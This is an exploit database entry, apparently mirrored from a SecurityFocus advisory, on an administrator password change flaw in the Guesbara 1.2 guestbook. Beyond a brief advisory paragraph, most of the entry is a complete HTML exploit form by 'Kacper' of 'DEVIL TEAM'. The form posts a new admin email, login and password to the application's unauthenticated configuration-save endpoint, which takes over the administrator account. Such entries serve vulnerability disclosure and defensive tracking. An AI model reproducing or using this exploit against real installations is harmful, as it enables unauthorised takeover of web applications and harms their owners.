Guesbara 1.2 Administrator Password Change Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Guesbara 1.2 Administrator Password Change Vulnerability. Allows attackers to change admin password, gain administrative access and compromise the application


                                                source: http://www.securityfocus.com/bid/23029/info

Guesbara is prone to a vulnerability that may permit attackers to change the administrative
password.

Exploiting this issue may allow an attacker to gain administrative access to the affected application. Successful exploits will result in a complete compromise of the application. 

&#60;html&#62; &#60;title&#62;Guestbara &#60;= 1.2 Change admin login & password exploit by Kacper&#60;/title&#62; &#60;table border=0 cellspacing=0 cellpadding=0 align=&#39;center&#39;&#62; &#60;form method=&#39;post&#39; action=&#39;http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&zapis=ok&#39;&#62;&#60;tr&#62; &#60;tr&#62;&#60;td width=200&#62;Admin Email&#60;/td&#62;&#60;td&#62;&#60;input type=&#39;text&#39; name=&#39;admin_mail&#39; class=&#39;textfield&#39; value=&#39;&#39;&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td width=200&#62;Admin Name&#60;/td&#62;&#60;td&#62;&#60;input type=&#39;text&#39; name=&#39;login&#39; class=&#39;textfield&#39; value=&#39;&#39;&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td width=200&#62;Admin Pass&#60;/td&#62;&#60;td&#62;&#60;input type=&#39;password&#39; name=&#39;pass&#39; class=&#39;textfield&#39; value=&#39;&#39;&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td colspan=2 align=center&#62; &#60;p&#62; &#60;input type=&#39;submit&#39; name=&#39;submit&#39; value=&#39;Zachowaj&#39;&#62; &#60;/p&#62; &#60;p&#62;by Kacper &#60;/p&#62; &#60;p&#62;for&#60;/p&#62; &#60;p&#62;&#60;a href=&#34;http://www.rahim.webd.pl/&#34; target=&#34;_blank&#34;&#62;DEVIL TEAM &#60;/a&#62;&#60;/p&#62;&#60;/td&#62;&#60;/tr&#62; &#60;/form&#62;&#60;/table&#62; &#60;p&#62;&nbsp;&#60;/p&#62; &#60;p align=&#34;center&#34;&#62;script download: http://www.hotscripts.pl/produkt-3051.html&#60;/p&#62; &#60;p align=&#34;center&#34;&#62;Greetz @ll DEVIL TEAM &#60;/p&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1